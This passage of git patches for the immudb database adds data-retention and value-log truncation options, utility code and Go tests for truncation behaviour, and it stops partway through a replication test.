@@ func (s *ImmuServer) databaseOptionsFrom(opts *dbOptions) *database.Options { AsReplica(opts.Replica). WithSyncReplication(opts.SyncReplication). WithSyncAcks(opts.SyncAcks). - WithReadTxPoolSize(opts.ReadTxPoolSize) + WithReadTxPoolSize(opts.ReadTxPoolSize). + WithRetentionPeriod(time.Millisecond * time.Duration(opts.RetentionPeriod)). + WithTruncationFrequency(time.Millisecond * time.Duration(opts.TruncationFrequency)) } func (opts *dbOptions) storeOptions() *store.Options { @@ -349,6 +355,9 @@ func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettin Autoload: &schema.NullableBool{Value: opts.Autoload.isEnabled()}, ReadTxPoolSize: &schema.NullableUint32{Value: uint32(opts.ReadTxPoolSize)}, + + RetentionPeriod: &schema.NullableMilliseconds{Value: int64(opts.RetentionPeriod)}, + TruncationFrequency: &schema.NullableMilliseconds{Value: int64(opts.TruncationFrequency)}, } } @@ -562,6 +571,14 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul } } + if settings.RetentionPeriod != nil { + opts.RetentionPeriod = Milliseconds(settings.RetentionPeriod.Value) + } + + if settings.TruncationFrequency != nil { + opts.TruncationFrequency = Milliseconds(settings.TruncationFrequency.Value) + } + // index options if settings.IndexSettings != nil { if opts.IndexOptions == nil { @@ -832,6 +849,8 @@ func (s *ImmuServer) logDBOptions(database string, opts *dbOptions) { s.Logger.Infof("%s.CommitLogMaxOpenedFiles: %v", database, opts.CommitLogMaxOpenedFiles) s.Logger.Infof("%s.WriteTxHeaderVersion: %v", database, opts.WriteTxHeaderVersion) s.Logger.Infof("%s.ReadTxPoolSize: %v", database, opts.ReadTxPoolSize) + s.Logger.Infof("%s.TruncationFrequency: %v", database, opts.TruncationFrequency) + s.Logger.Infof("%s.RetentionPeriod: %v", database, opts.RetentionPeriod) s.Logger.Infof("%s.IndexOptions.FlushThreshold: %v", database, opts.IndexOptions.FlushThreshold) s.Logger.Infof("%s.IndexOptions.SyncThreshold: %v", database, opts.IndexOptions.SyncThreshold) s.Logger.Infof("%s.IndexOptions.FlushBufferSize: %v", database, opts.IndexOptions.FlushBufferSize) diff --git a/pkg/util/runtime.go b/pkg/util/runtime.go new file mode 100644 index 0000000000..369e508dbe --- /dev/null +++ b/pkg/util/runtime.go @@ -0,0 +1,53 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package util + +import ( + "runtime" + + "github.com/codenotary/immudb/pkg/logger" +) + +// PanicHandler is a function which is invoked when a panic happens +type PanicHandler func(logger.Logger, interface{}) + +// DefaultPanicHandlers is a list of PanicHandler(s) which will be invoked when a panic happens +var DefaultPanicHandlers = []PanicHandler{panicLogger} + +// HandlePanic catches a crash and logs an error. Should to be called via defer. +func HandlePanic(l logger.Logger, handlers ...PanicHandler) { + if r := recover(); r != nil { + for _, fn := range DefaultPanicHandlers { + fn(l, r) + } + for _, fn := range handlers { + fn(l, r) + } + } +} + +// panicLogger logs the stack trace when a panic occurs +func panicLogger(l logger.Logger, r interface{}) { + const size = 64 << 10 + stacktrace := make([]byte, size) + stacktrace = stacktrace[:runtime.Stack(stacktrace, false)] + if _, ok := r.(string); ok { + l.Errorf("Observed a panic: %s\n%s", r, stacktrace) + } else { + l.Errorf("Observed a panic: %#v (%v)\n%s", r, r, stacktrace) + } +} diff --git a/pkg/util/runtime_test.go b/pkg/util/runtime_test.go new file mode 100644 index 0000000000..755387bd56 --- /dev/null +++ b/pkg/util/runtime_test.go @@ -0,0 +1,29 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package util + +import ( + "os" + "testing" + + "github.com/codenotary/immudb/pkg/logger" +) + +func TestHandleCrash(t *testing.T) { + defer HandlePanic(logger.NewSimpleLogger("immudb ", os.Stderr)) + panic("Test Panic") +} diff --git a/pkg/util/time.go b/pkg/util/time.go new file mode 100644 index 0000000000..94786b0eeb --- /dev/null +++ b/pkg/util/time.go @@ -0,0 +1,66 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package util + +import ( + "errors" + "fmt" + "regexp" + "strconv" + "time" +) + +// valid matches are up to minute level (y,w,d,h,m) +var validDurationRE = regexp.MustCompile("^(([0-9]+)y)?(([0-9]+)w)?(([0-9]+)d)?(([0-9]+)h)?(([0-9]+)m)?$") + +// ParseDuration parses a string into a time.Duration +func ParseDuration(p string) (time.Duration, error) { + if p == "" { + return 0, errors.New("invalid duration") + } + + m := validDurationRE.FindStringSubmatch(p) + if m == nil { + return 0, fmt.Errorf("invalid duration: %q", p) + } + + var d time.Duration + + minute := time.Duration(1 * 60) + hour := time.Duration(minute * 60) + day := time.Duration(hour * 24) + week := time.Duration(day * 7) + year := time.Duration(day * 365) + + d += match(m[2], year) // y + d += match(m[4], week) // w + d += match(m[6], day) // d + d += match(m[8], hour) // h + d += match(m[10], minute) // m + + return d, nil +} + +func match(val string, mult time.Duration) time.Duration { + if val == "" { + return 0 + } + + v, _ := strconv.Atoi(val) + d := time.Duration(v) * time.Second + return d * mult +} diff --git a/pkg/util/time_test.go b/pkg/util/time_test.go new file mode 100644 index 0000000000..278920d479 --- /dev/null +++ b/pkg/util/time_test.go @@ -0,0 +1,118 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package util + +import ( + "testing" + "time" +) + +func TestParseDuration(t *testing.T) { + var cases = []struct { + in string + out time.Duration + wantErr bool + }{ + { + in: "", + out: 0, + wantErr: true, + }, + { + in: "0", + out: 0, + wantErr: true, + }, + { + in: "0s", + out: 0, + wantErr: true, + }, + { + in: "1", + out: 0, + wantErr: true, + }, + { + in: "10ms", + out: 0, + wantErr: true, + }, + { + in: "-1d", + out: 0, + wantErr: true, + }, + { + in: "-1w", + out: 0, + wantErr: true, + }, + { + in: "0.5d", + out: 0, + wantErr: true, + }, + { + in: "d", + out: 0, + wantErr: true, + }, + { + in: "1s", + out: 0, + wantErr: true, + }, + { + in: "10m", + out: 0, + wantErr: true, + }, + { + in: "1h", + out: 0, + wantErr: true, + }, + { + in: "1d", + out: 1 * 24 * time.Hour, + }, + { + in: "3d10h", + out: 0, + wantErr: true, + }, + { + in: "2w", + out: 2 * 7 * 24 * time.Hour, + }, + { + in: "2y", + out: 2 * 365 * 24 * time.Hour, + }, + } + + for _, c := range cases { + d, err := ParseDuration(c.in) + if err != nil && !c.wantErr { + t.Errorf("error on input %q: %s", c.in, err) + } + if time.Duration(d) != c.out { + t.Errorf("expected %v but got %v", c.out, d) + } + } +} From 4875e4cd75abccbc436693c92b603bd410f0b681 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 12 Jan 2023 02:53:03 +0530 Subject: [PATCH 0167/1062] chore(pkg/database): add more tests for truncation --- embedded/store/immustore.go | 15 ++-- pkg/database/truncator.go | 32 ++++++- pkg/database/truncator_test.go | 147 +++++++++++++++++++++++++++++++++ pkg/util/time.go | 10 +-- 4 files changed, 189 insertions(+), 15 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 17afe8df40..cf6a41d77e 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2939,7 +2939,8 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { s.logger.Infof("running truncation up to transaction '%d'", minTxID) var err error - stones := make(map[byte]int64) + // tombstones maintain the minimum offset for each value log file that can be safely deleted. + tombstones := make(map[byte]int64) readFirstEntryOffset := func(id uint64) (*TxEntry, error) { return s.readTxOffsetAt(id, false, 1) @@ -2953,8 +2954,8 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { // Iterate over all past transactions and store the minimum offset for each value log file. v, off := decodeOffset(first.VOff()) - if _, ok := stones[v]; !ok { - stones[v] = off + if _, ok := tombstones[v]; !ok { + tombstones[v] = off } return nil } @@ -2968,9 +2969,9 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { // Check if any future transaction offset lies before past transaction(s) // If so, then update the offset to the minimum offset for that value log file. v, off := decodeOffset(first.VOff()) - if val, ok := stones[v]; ok { + if val, ok := tombstones[v]; ok { if off < val { - stones[v] = off + tombstones[v] = off } } return nil @@ -2980,7 +2981,7 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { // This way, we can calculate the minimum offset for each value log file. { var i uint64 = minTxID - for i > 0 && len(stones) != s.MaxIOConcurrency() { + for i > 0 && len(tombstones) != s.MaxIOConcurrency() { err = back(i) i-- if err != nil { // if txn not found, then continue as previous txn could have been deleted @@ -3009,7 +3010,7 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { // Delete offset from different value logs merr := multierr.NewMultiErr() { - for vLogID, offset := range stones { + for vLogID, offset := range tombstones { vlog := s.fetchVLog(vLogID) defer s.releaseVLog(vLogID) s.logger.Infof("truncating vlog '%d' at offset '%d'", vLogID, offset) diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index c75d724569..dc8d7570bc 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -18,6 +18,7 @@ package database import ( "context" + "errors" "time" "github.com/codenotary/immudb/embedded/store" @@ -25,6 +26,11 @@ import ( "github.com/prometheus/client_golang/prometheus/promauto" ) +var ( + // ErrNoTxBeforeTime is returned when retention period is not reached. + ErrRetentionPeriodNotReached = errors.New("retention period not reached") +) + // Truncator provides truncation against an underlying storage // of appendable data. type Truncator interface { @@ -56,8 +62,30 @@ type vlogTruncator struct { // When resulting transaction before specified time does not exists // * No transaction header is returned. // * Returns nil TxHeader, and an error. -func (v *vlogTruncator) Plan(ts time.Time) (*store.TxHeader, error) { - return v.db.st.FirstTxSince(ts) +// The retentionPeriod time is truncated to the day. +func (v *vlogTruncator) Plan(retentionPeriod time.Time) (*store.TxHeader, error) { + hdr, err := v.db.st.FirstTxSince(retentionPeriod) + if err != nil { + return nil, err + } + + // if the transaction is on or before the retention period, then we can truncate upto this + // transaction otherwise, we cannot truncate since the retention period has not been reached + // and truncation would otherwise add an extra transaction to the log for sql catalogue. + err = v.isRetentionPeriodReached(retentionPeriod, time.Unix(hdr.Ts, 0)) + if err != nil { + return nil, err + } + return hdr, nil +} + +// isRetentionPeriodReached returns an error if the retention period has not been reached. +func (v *vlogTruncator) isRetentionPeriodReached(retentionPeriod time.Time, txTimestamp time.Time) error { + txTime := truncateToDay(txTimestamp) + if txTime.Unix() <= retentionPeriod.Unix() { + return nil + } + return ErrRetentionPeriodNotReached } // Truncate runs truncation against the relevant appendable logs upto the specified transaction offset. diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 799e2a0f61..57b76f68ba 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -411,3 +411,150 @@ func Test_vlogCompactor_without_data(t *testing.T) { require.NoError(t, err) require.True(t, ptx.Header().Metadata.HasTruncatedTxID()) } + +func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { + db := setupCommonTest(t) + + exec := func(t *testing.T, stmt string) { + _, ctx, err := db.SQLExec(&schema.SQLExecRequest{Sql: stmt}, nil) + require.NoError(t, err) + require.Len(t, ctx, 1) + } + + query := func(t *testing.T, stmt string, expectedRows int) { + res, err := db.SQLQuery(&schema.SQLQueryRequest{Sql: stmt}, nil) + require.NoError(t, err) + require.NoError(t, err) + require.Len(t, res.Rows, expectedRows) + } + + verify := func(t *testing.T, txID uint64) { + lastCommitTx := db.st.LastCommittedTxID() + hdr, err := db.st.ReadTxHeader(lastCommitTx, false) + require.NoError(t, err) + require.NotNil(t, hdr.Metadata) + require.True(t, hdr.Metadata.HasTruncatedTxID()) + + truncatedTxId, err := hdr.Metadata.GetTruncatedTxID() + require.NoError(t, err) + require.Equal(t, txID, truncatedTxId) + } + + // create a new table + exec(t, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], amount INTEGER, PRIMARY KEY id)") + exec(t, "CREATE UNIQUE INDEX ON table1 (name)") + exec(t, "CREATE UNIQUE INDEX ON table1 (name, amount)") + exec(t, "ALTER TABLE table1 ADD COLUMN surname VARCHAR") + + t.Run("succeed truncating sql catalog", func(t *testing.T) { + lastCommitTx := db.st.LastCommittedTxID() + hdr, err := db.st.ReadTxHeader(lastCommitTx, false) + require.NoError(t, err) + c := newVlogTruncator(db) + require.NoError(t, c.Truncate(hdr)) + + // should add an extra transaction with catalogue + require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) + verify(t, hdr.ID) + }) + + t.Run("succeed loading catalog from latest schema", func(t *testing.T) { + query(t, "SELECT * FROM table1", 0) + }) + + // insert some data + var deleteUptoTx *schema.TxHeader + for i := 1; i <= 5; i++ { + var err error + kv := &schema.KeyValue{ + Key: []byte(fmt.Sprintf("key_%d", i)), + Value: []byte(fmt.Sprintf("val_%d", i)), + } + deleteUptoTx, err = db.Set(&schema.SetRequest{KVs: []*schema.KeyValue{kv}}) + require.NoError(t, err) + } + + // delete txns in the store upto a certain txn + t.Run("succeed truncating sql catalog again", func(t *testing.T) { + lastCommitTx := db.st.LastCommittedTxID() + hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false) + require.NoError(t, err) + c := newVlogTruncator(db) + require.NoError(t, c.Truncate(hdr)) + + // should add an extra transaction with catalogue + require.Equal(t, lastCommitTx+1, db.st.LastCommittedTxID()) + verify(t, hdr.ID) + }) + + t.Run("insert sql transaction", func(t *testing.T) { + exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Foo', 'Bar', 0)") + exec(t, "INSERT INTO table1(name, surname, amount) VALUES('Fin', 'Baz', 0)") + }) + + // check if can query the table with new catalogue + t.Run("succeed loading catalog from latest schema", func(t *testing.T) { + query(t, "SELECT * FROM table1", 2) + }) +} + +func Test_vlogTruncator_isRetentionPeriodReached(t *testing.T) { + type args struct { + retentionPeriod time.Time + txTs time.Time + } + tests := []struct { + name string + args args + wantErr bool + }{ + { + name: "retention period not reached", + args: args{ + retentionPeriod: truncateToDay(time.Now().Add(-24 * time.Hour)), + txTs: truncateToDay(time.Now()), + }, + wantErr: true, + }, + { + name: "retention period reached", + args: args{ + retentionPeriod: truncateToDay(time.Now().Add(-1 * time.Hour)), + txTs: truncateToDay(time.Now().Add(-2 * time.Hour)), + }, + wantErr: false, + }, + { + name: "tx period before retention", + args: args{ + retentionPeriod: truncateToDay(time.Now()), + txTs: truncateToDay(time.Now().Add(-48 * time.Hour)), + }, + wantErr: false, + }, + { + name: "tx period after retention", + args: args{ + retentionPeriod: truncateToDay(time.Now()), + txTs: truncateToDay(time.Now().Add(48 * time.Hour)), + }, + wantErr: true, + }, + { + name: "tx period equal to retention", + args: args{ + retentionPeriod: truncateToDay(time.Now().Add(48 * time.Hour)), + txTs: truncateToDay(time.Now().Add(48 * time.Hour)), + }, + wantErr: false, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + v := &vlogTruncator{} + if err := v.isRetentionPeriodReached(tt.args.retentionPeriod, tt.args.txTs); (err != nil) != tt.wantErr { + t.Errorf("vlogTruncator.isRetentionPeriodReached() error = %v, wantErr %v", err, tt.wantErr) + } + }) + } +} diff --git a/pkg/util/time.go b/pkg/util/time.go index 94786b0eeb..b36172f2aa 100644 --- a/pkg/util/time.go +++ b/pkg/util/time.go @@ -25,7 +25,7 @@ import ( ) // valid matches are up to minute level (y,w,d,h,m) -var validDurationRE = regexp.MustCompile("^(([0-9]+)y)?(([0-9]+)w)?(([0-9]+)d)?(([0-9]+)h)?(([0-9]+)m)?$") +var validDurationRE = regexp.MustCompile("^(([0-9]+)y)?(([0-9]+)w)?(([0-9]+)d)?$") // ParseDuration parses a string into a time.Duration func ParseDuration(p string) (time.Duration, error) { @@ -46,11 +46,9 @@ func ParseDuration(p string) (time.Duration, error) { week := time.Duration(day * 7) year := time.Duration(day * 365) - d += match(m[2], year) // y - d += match(m[4], week) // w - d += match(m[6], day) // d - d += match(m[8], hour) // h - d += match(m[10], minute) // m + d += match(m[2], year) // y + d += match(m[4], week) // w + d += match(m[6], day) // d return d, nil } From 5c2266c45ec79ba6b153aa4c58c0b7c8b9843e60 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 12 Jan 2023 03:36:06 +0530 Subject: [PATCH 0168/1062] chore(pkg/database): add mvcc test for truncation, parse retention period using duration --- cmd/immuadmin/command/database.go | 14 +- embedded/store/immustore.go | 14 +- embedded/store/immustore_test.go | 473 +++++++++++++++++++++++++++++- embedded/store/options.go | 1 + pkg/database/database.go | 17 +- pkg/database/truncator.go | 25 +- pkg/database/truncator_test.go | 57 +++- pkg/server/db_options.go | 6 + pkg/util/runtime.go | 53 ---- pkg/util/runtime_test.go | 29 -- pkg/util/time.go | 64 ---- pkg/util/time_test.go | 118 -------- 12 files changed, 564 insertions(+), 307 deletions(-) delete mode 100644 pkg/util/runtime.go delete mode 100644 pkg/util/runtime_test.go delete mode 100644 pkg/util/time.go delete mode 100644 pkg/util/time_test.go diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index aaffb844af..3d2f172fe1 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -26,7 +26,6 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/replication" - "github.com/codenotary/immudb/pkg/util" "github.com/spf13/cobra" "github.com/spf13/pflag" "google.golang.org/protobuf/types/known/emptypb" @@ -53,7 +52,7 @@ func addDbUpdateFlags(c *cobra.Command) { c.Flags().Uint32("write-buffer-size", store.DefaultWriteBufferSize, "set the size of in-memory buffers for file abstractions") c.Flags().Uint32("read-tx-pool-size", database.DefaultReadTxPoolSize, "set transaction read pool size (used for reading transaction objects)") c.Flags().Bool("autoload", true, "enable database autoloading") - c.Flags().String("retention-period", "", "duration of time to retain data in storage. Units Supported: y, w, d, h, m.") + c.Flags().Duration("retention-period", 0, "duration of time to retain data in storage") c.Flags().Duration("truncation-frequency", store.DefaultTruncationFrequency, "set the truncation frequency for the database") flagNameMapping := map[string]string{ @@ -472,20 +471,11 @@ func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNull return nil, err } - rps, err := condString("retention-period") + ret.RetentionPeriod, err = condDuration("retention-period") if err != nil { return nil, err } - if rps != nil && rps.Value != "" { - dur, err := util.ParseDuration(rps.Value) - if err != nil { - return nil, err - } - - ret.RetentionPeriod = &schema.NullableMilliseconds{Value: dur.Milliseconds()} - } - ret.TruncationFrequency, err = condDuration("truncation-frequency") if err != nil { return nil, err diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index cf6a41d77e..677f022f05 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2089,13 +2089,6 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, tx *Tx) ([]byt return nil, err } - // vLen - binary.BigEndian.PutUint32(blen[:], uint32(e.vLen)) - _, err = buf.Write(blen[:]) - if err != nil { - return nil, err - } - // val // TODO: improve value reading implementation, get rid of _valBs s._valBsMux.Lock() @@ -2108,13 +2101,15 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, tx *Tx) ([]byt // if the error is eof, the value has been truncated, so we do not write the value bytes if err == io.EOF { isValueTruncated = true - // vHash + // vHashLen binary.BigEndian.PutUint32(blen[:], uint32(len(e.hVal))) _, err = buf.Write(blen[:]) if err != nil { s._valBsMux.Unlock() return nil, err } + + // vHash _, err = buf.Write(e.hVal[:]) if err != nil { s._valBsMux.Unlock() @@ -2129,6 +2124,7 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, tx *Tx) ([]byt return nil, err } + // val _, err = buf.Write(s._valBs[:e.vLen]) if err != nil { s._valBsMux.Unlock() @@ -2986,6 +2982,7 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { i-- if err != nil { // if txn not found, then continue as previous txn could have been deleted s.logger.Errorf("failed to fetch transaction %d {traversal=back, err = %v}", i, err) + return err } } } @@ -3022,7 +3019,6 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { return merr.Reduce() } -// TODO!! test this func byte32(s []byte) [32]byte { var a [32]byte copy(a[:], s) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 0d155d816c..63862e2367 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1473,7 +1473,7 @@ func TestImmudbStoreKVMetadata(t *testing.T) { require.Equal(t, uint64(1), valRef.HC()) require.Equal(t, uint32(3), valRef.Len()) require.Equal(t, sha256.Sum256([]byte{3, 2, 1}), valRef.HVal()) - require.True(t, NewTxMetadata().Equal(valRef.TxMetadata())) + require.Nil(t, valRef.TxMetadata()) v, err := valRef.Resolve() require.NoError(t, err) @@ -4248,3 +4248,474 @@ func TestImmudbStoreWithoutVLogCache(t *testing.T) { require.NoError(t, err) require.Equal(t, []byte("value1"), val) } + +func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { + opts := DefaultOptions(). + WithFileSize(6). + WithMaxConcurrency(100). + WithMaxIOConcurrency(5) + + st, err := Open(t.TempDir(), opts) + require.NoError(t, err) + require.NotNil(t, st) + defer immustoreClose(t, st) + + ctx := context.TODO() + for i := 1; i <= 20; i++ { + key := []byte(fmt.Sprintf("key_%d", i)) + value := []byte(fmt.Sprintf("val_%d", i)) + tx, err := st.NewWriteOnlyTx(ctx) + require.NoError(t, err) + + err = tx.Set(key, nil, value) + require.NoError(t, err) + + hdr, err := tx.Commit(ctx) + require.NoError(t, err) + + readTx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) + err = st.ReadTx(hdr.ID, readTx) + require.NoError(t, err) + + for _, e := range readTx.Entries() { + _, err := st.ReadValue(e) + require.NoError(t, err) + } + } + + deletePointTx := uint64(15) + hdr, err := st.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + require.NoError(t, st.TruncateUptoTx(hdr.ID)) + + for i := deletePointTx; i <= 20; i++ { + tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) + err = st.ReadTx(i, tx) + require.NoError(t, err) + + for _, e := range tx.Entries() { + _, err := st.ReadValue(e) + require.NoError(t, err) + } + } +} + +func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { + opts := DefaultOptions(). + WithFileSize(6). + WithMaxIOConcurrency(1) + + st, err := Open(t.TempDir(), opts) + require.NoError(t, err) + require.NotNil(t, st) + defer immustoreClose(t, st) + + ctx := context.TODO() + for i := 1; i <= 10; i++ { + key := []byte(fmt.Sprintf("key_%d", i)) + value := []byte(fmt.Sprintf("val_%d", i)) + tx, err := st.NewWriteOnlyTx(ctx) + require.NoError(t, err) + + err = tx.Set(key, nil, value) + require.NoError(t, err) + + _, err = tx.Commit(ctx) + require.NoError(t, err) + } + + deletePointTx := uint64(5) + hdr, err := st.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + require.NoError(t, st.TruncateUptoTx(hdr.ID)) + + for i := deletePointTx; i <= 10; i++ { + tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) + err = st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := st.ReadValue(e) + require.NoError(t, err) + } + } + + for i := deletePointTx - 1; i > 0; i-- { + tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) + err = st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := st.ReadValue(e) + require.Error(t, err) + } + } +} + +func TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) { + opts := DefaultOptions(). + WithFileSize(6). + WithMaxIOConcurrency(1) + + st, err := Open(t.TempDir(), opts) + require.NoError(t, err) + require.NotNil(t, st) + defer immustoreClose(t, st) + + ctx := context.TODO() + for i := 1; i <= 10; i++ { + key := []byte(fmt.Sprintf("key_%d", i)) + value := []byte(fmt.Sprintf("val_%d", i)) + tx, err := st.NewWriteOnlyTx(ctx) + require.NoError(t, err) + + err = tx.Set(key, nil, value) + require.NoError(t, err) + + _, err = tx.Commit(ctx) + require.NoError(t, err) + } + + deletePointTx := uint64(5) + hdr, err := st.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + + // TruncateUptoTx should be idempotent + require.NoError(t, st.TruncateUptoTx(hdr.ID)) + require.NoError(t, st.TruncateUptoTx(hdr.ID)) + require.NoError(t, st.TruncateUptoTx(hdr.ID)) + + for i := deletePointTx; i <= 10; i++ { + tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) + err = st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := st.ReadValue(e) + require.NoError(t, err) + } + } + + for i := deletePointTx - 1; i > 0; i-- { + tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) + err = st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := st.ReadValue(e) + require.Error(t, err) + } + } + +} + +func TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) { + opts := DefaultOptions(). + WithFileSize(6). + WithMaxConcurrency(100). + WithMaxIOConcurrency(3) + + st, err := Open(t.TempDir(), opts) + require.NoError(t, err) + require.NotNil(t, st) + defer immustoreClose(t, st) + + ctx := context.TODO() + + wg := sync.WaitGroup{} + for i := 1; i <= 3; i++ { + wg.Add(1) + go func(j int) { + defer wg.Done() + for k := 1*(j-1)*10 + 1; k < (j*10)+1; k++ { + key := []byte(fmt.Sprintf("key_%d", k)) + value := []byte(fmt.Sprintf("val_%d", k)) + tx, err := st.NewWriteOnlyTx(ctx) + require.NoError(t, err) + + err = tx.Set(key, nil, value) + require.NoError(t, err) + + _, err = tx.Commit(ctx) + require.NoError(t, err) + } + }(i) + } + wg.Wait() + + deletePointTx := uint64(15) + hdr, err := st.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + require.NoError(t, st.TruncateUptoTx(hdr.ID)) + + for i := deletePointTx; i <= 30; i++ { + tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) + err = st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := st.ReadValue(e) + require.NoError(t, err) + } + } +} + +func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { + opts := DefaultOptions(). + WithFileSize(6). + WithMaxIOConcurrency(1) + + st, err := Open(t.TempDir(), opts) + require.NoError(t, err) + require.NotNil(t, st) + defer immustoreClose(t, st) + + waitCh := make(chan struct{}) + doneCh := make(chan struct{}) + ctx := context.TODO() + + for i := 1; i <= 20; i++ { + key := []byte(fmt.Sprintf("key_%d", i)) + value := []byte(fmt.Sprintf("val_%d", i)) + tx, err := st.NewWriteOnlyTx(ctx) + require.NoError(t, err) + + err = tx.Set(key, nil, value) + require.NoError(t, err) + + _, err = tx.Commit(ctx) + require.NoError(t, err) + + if i == 10 { + close(waitCh) + } + } + + deletePointTx := uint64(5) + + go func() { + <-waitCh + hdr, err := st.ReadTxHeader(deletePointTx, false) + require.NoError(t, err) + require.NoError(t, st.TruncateUptoTx(hdr.ID)) + close(doneCh) + }() + + <-doneCh + for i := deletePointTx; i <= 20; i++ { + tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) + err = st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := st.ReadValue(e) + require.NoError(t, err) + } + } + + for i := deletePointTx - 1; i > 0; i-- { + tx := NewTx(st.MaxTxEntries(), st.MaxKeyLen()) + err = st.ReadTx(i, tx) + for _, e := range tx.Entries() { + _, err := st.ReadValue(e) + require.Error(t, err) + } + } +} + +func TestExportTxWithTruncation(t *testing.T) { + opts := DefaultOptions(). + WithFileSize(6). + WithMaxIOConcurrency(1) + + // Create a master store + masterDir := t.TempDir() + masterStore, err := Open(masterDir, opts) + require.NoError(t, err) + defer immustoreClose(t, masterStore) + + // Create a replica store + replicaDir := t.TempDir() + replicaStore, err := Open(replicaDir, DefaultOptions()) + require.NoError(t, err) + defer immustoreClose(t, replicaStore) + + ctx := context.TODO() + t.Run("validate replication post truncation on master", func(t *testing.T) { + hdrs := make([]*TxHeader, 0, 5) + + // Add 10 transactions on master store + for i := 1; i <= 10; i++ { + key := []byte(fmt.Sprintf("key_%d", i)) + value := []byte(fmt.Sprintf("val_%d", i)) + tx, err := masterStore.NewWriteOnlyTx(ctx) + require.NoError(t, err) + + err = tx.Set(key, nil, value) + require.NoError(t, err) + + hdr, err := 